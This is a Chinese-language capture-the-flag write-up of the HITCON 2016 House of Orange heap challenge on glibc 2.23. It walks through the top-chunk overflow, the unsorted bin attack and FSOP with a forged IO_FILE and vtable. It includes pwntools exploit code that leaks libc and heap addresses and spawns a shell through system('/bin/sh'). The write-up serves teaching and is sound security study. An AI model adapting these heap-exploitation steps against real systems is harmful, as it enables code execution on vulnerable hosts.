houseoforange_hitcon_2016
总结
根据本题,学习与收获有很多,因为本题涉及到的知识点很多,无法一一详述。主要的收获有:
house of orange
利用一般发生在程序没有free
函数的情况下,需要伪造top chunk
的size
,下一次分配超过伪造的大小的chunk
的时候,就会把old top chunk
释放掉,放置在unorted bin
中。- 伪造
top chunk
的size
需要注意的几点有:size
必须要对其到内存页,就是分配的内存大小加上top chunk size
,一定是0x1000
的倍数。pre_inuse
位要置为1
size
不能小于最小的chunk
大小
IO_FILE
利用时,在libc
版本低于2.27
的时候,可以利用调用链malloc_printerr->_libc_message->abort->_IO_flush_all_lockup->_IO_overflow
,根据条件伪造IO_FILE
结构,vtable
表,触发system(/bin/sh)
或者one_gadget
。- 可利用
unsorted bin attack
修改_IO_list_all
指针指向,这个是时候,smallbin(0x60)
地址就是前一个假的IO_FILE
的chain
指针内容。在libc-2.23.so
中,伪造得到的fpchain
为:main_arena + 0x88
—>smallbin[0x60]
- 想要在堆上留下堆地址,需要利用到
largebin
,存储largebin
的堆头的时候,会在fd_nextsize
或bk_nextsize
上留下堆地址。
题目分析
题目环境为ubuntu 16.04
,libc-2.23.so
。
checksec
保护全部拉满!
函数分析
main
可以看到,典型的菜单题。接下来进menu
看看,有哪些选项。
menu
3
个选项,依次看看
build_house
因为我已经建立好了结构体,所以显示的都是price
和color
之类有属性的变量,简单梳理一下关键流程:
-
调用
build_house
次数限制为4
次 -
malloc(0x10) ---> chunk A
,用来管理house
-
malloc(input_size) ---> chunk B
,其中,$input_size \in [0, 4096]$,用来存储name
-
read(0, B, input_size)
,读取用户输入 -
calloc(0x8) ---> chunk C
,用来存储price
和color
,这俩加起来才占用8
个字节 -
A[0] = C
,A[1] = B
,C[0] = (price | color)
-
cur_house_ptr
置为chunk A
的mem_ptr
地址
see_house
需要注意的是:只能打印当前house
的信息,没有提供数组索引之类的东西。
upgrade_house
简单梳理一下主要流程:
- 限制
upgrade_house
次数为3
次 - 修改当前
house
,获取用户输入大小alter_size
read(0, house->name, alter_size)
,可以溢出修改
漏洞点
分析完主要函数后,漏洞点很明显。有且只有一个漏洞,就是在upgrade_house
的时候,可以溢出修改house_name
对应的chunk
内容。
需要注意的是,这里的堆溢出,只能修改top_chunk
,因为没有提供堆数组和索引。还有,将申请的大小限制在0x1000
内,是为了避免使用house of force
之类的攻击。同时,题目没有提供释放chunk
的函数,没有free
的话,基本无法构造堆布局。本题,基本上把利用方式限制在了house of orange
。
利用思路
知识点
house of orange
1、利用条件
- 题目中没有给
free
之类的接口 - 可以修改
top_chunk
的size
域
2、利用方法
- 溢出修改
top chunk
的size
,注意,这里需要滿足一些检查条件 - 下次申请超过
top_chunk size
大小的chunk
3、攻击效果
- 把原来的
top_chunk
放置在unosrted bin
中
FSOP
其实FSOP
的利用方式有很多,结合不同的版本,不同的调用流程,攻击方法也不一样。这里主要谈一下64
位下,libc-2.23.so
中伪造IO_FILE
结构和vtable
,触发IO_flush_all_lockup
刷新所有流进行攻击的方式。
1、IO_FILE结构
|
|
vtable
的函数指针为:
|
|
malloc_printerr
最终调用到IO_flush_all_lock
,源码位于libio\vswprintf.c:795
|
|
要想执行到_IO_OVERFLOE
,要么滿足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
,要么滿足_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
,一般来说,前面的条件好构造一点。
unsorted bin attack
这个攻击方式不用细说,这里关注的有两点:
-
如果
main_arena + 88
作为文件流地址,那么它的chain
指针对应的是smallbin[0x60]
。 -
如果申请的大小在
largebin
的范围内,那么在解链unsorted bin
的时候,会先把unsorted bin chunk
放在large bin
中,就会在fd_nextsize
和bk_nextsize
上留下堆地址1 2 3 4 5 6 7 8 9 10 11 12 13 14
/* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { ······ // 这里会被置为,留下堆地址 victim->fd_nextsize = victim->bk_nextsize = victim; }
利用过程
步骤:
build_house(0x10) chunk A
ugrade_house(A)
,修改top_chunk
的size
域,为house of orange
做准备。经过计算,这里修改为0xfa1
build_house(0x1000) chunk B
,触发free(old_top_chunk)
,得到一块unsorted bin chunk
build_house(0x400, name="a" * 8)
,利用残留的指针泄露出libc
地址upgrade_house(B, name="a"*0x10)
,利用残留的指针泄露出heap
地址upgrade_house(B)
,触发unsorted bin attack
,并修改unsortedbin chunk
的size
为0x61
,同时伪造好IO_FILE
结构和vtable
表
EXP
调试过程
-
1、定义好各个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
def build_house(length:int, name, price:int=0xff, color:int=1): sh.sendlineafter("Your choice : ", "1") sh.sendlineafter("Length of name :", str(length)) sh.sendafter("Name :", name) sh.sendlineafter("Price of Orange:", str(price)) sh.sendlineafter("Color of Orange:", str(color)) sh.recvuntil("Finish\n") def see_house(): sh.sendlineafter("Your choice : ", "2") name_msg = sh.recvline_startswith("Name of house : ") price_msg = sh.recvline_startswith("Price of orange : ") log.success("name_msg:{}\nprice_msg:{}".format(name_msg, price_msg)) return name_msg, price_msg def upgrade_house(length:int, name, price:int=0xff, color:int=1): sh.sendlineafter("Your choice : ", "3") sh.sendlineafter("Length of name :", str(length)) sh.sendafter("Name:", name) sh.sendlineafter("Price of Orange: ", str(price)) sh.sendlineafter("Color of Orange: ", str(color)) sh.recvuntil("Finish\n")
-
1、修改
top chunk
的size
,触发house of orange
1 2 3 4 5
# change the size of top_chunk to 0xfa1 upgrade_house(0x100, b"a" * 0x38 + p64(0xfa1)) # house of orange build_house(0x1000, "cccc")
-
2、泄露出
libc
地址和heap
地址1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
build_house(0x400, b"a" * 8) msg, _ = see_house() leak_libc_addr = msg[0x18: 0x18+6] leak_libc_addr = u64(leak_libc_addr.ljust(8, b"\x00")) LOG_ADDR("leak_libc_addr", leak_libc_addr) libc_base_addr = leak_libc_addr - main_arena_offset - 1640 LOG_ADDR("libc_base_addr", libc_base_addr) io_list_all_addr = libc_base_addr + libc.sym["_IO_list_all"] upgrade_house(0x10, "a" * 0x10) msg, _ = see_house() heap_addr = msg[0x20:0x26] heap_addr = u64(heap_addr.ljust(8, b"\x00")) LOG_ADDR("heap_addr", heap_addr)
-
3、触发
unsortedbin attack
,并伪造IO_FILE
结构,刷新流拿到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14
payload = flat(p64(0) * 3 + p64(libc_base_addr + libc.sym["system"]), 0x400 * "\x00", "/bin/sh\x00", 0x61, 0, io_list_all_addr-0x10, 0, 0x1, # _IO_write_ptr 0xa8 * b"\x00", heap_addr+0x10 ) upgrade_house(0x600, payload) sh.sendlineafter("Your choice : ", "1") sh.interactive()
可以看到,已经执行了
system(/bin/sh)
,拿到了shell
。这里调试的时候,不小心从
opne-wsl.exe
退出了,又重新attach
上去,所以截图会看上不不一样。
完整exp
|
|
引用与参考
1、My Blog
2、Ctf Wiki